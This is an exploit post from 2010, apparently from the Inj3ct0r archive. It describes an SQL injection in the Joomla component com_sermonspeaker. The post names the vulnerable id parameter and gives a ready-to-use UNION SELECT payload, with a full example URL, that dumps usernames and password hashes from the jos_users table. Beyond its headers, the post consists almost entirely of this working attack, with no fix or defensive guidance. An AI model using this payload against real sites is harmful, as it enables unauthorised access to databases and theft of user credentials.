Joomla Component com_sermonspeaker SQL Injection Vulnerabili
Posted on 12 April 2010
============================================================== Joomla Component com_sermonspeaker SQL Injection Vulnerability ============================================================== # Title:Joomla Component com_sermonspeaker SQL Injection Vulnerability # Author: SadHaCkEr # Data : 2010-04-12 [~]######################################### InformatioN #############################################[~] #AUTHOR: SadHaCkEr #Email: n5s@hotmail.[choose ANY ONE] IF U lucky U will Find Me #Website: http://www.sadx.297m.com/ #Forum : http://v4-team.net/cc [~]######################################### ExploiT #############################################[~] [~] Vulnerable : http://127.0.0.1/index.php?option=com_sermonspeaker&task=latest_sermons&id=[SQL] [~] ExploiT : -9999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/**/ [~] Example : http://127.0.0.1/index.php?option=com_sermonspeaker&task=latest_sermons&id= -9999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/**/ # Inj3ct0r.com [2010-04-12]
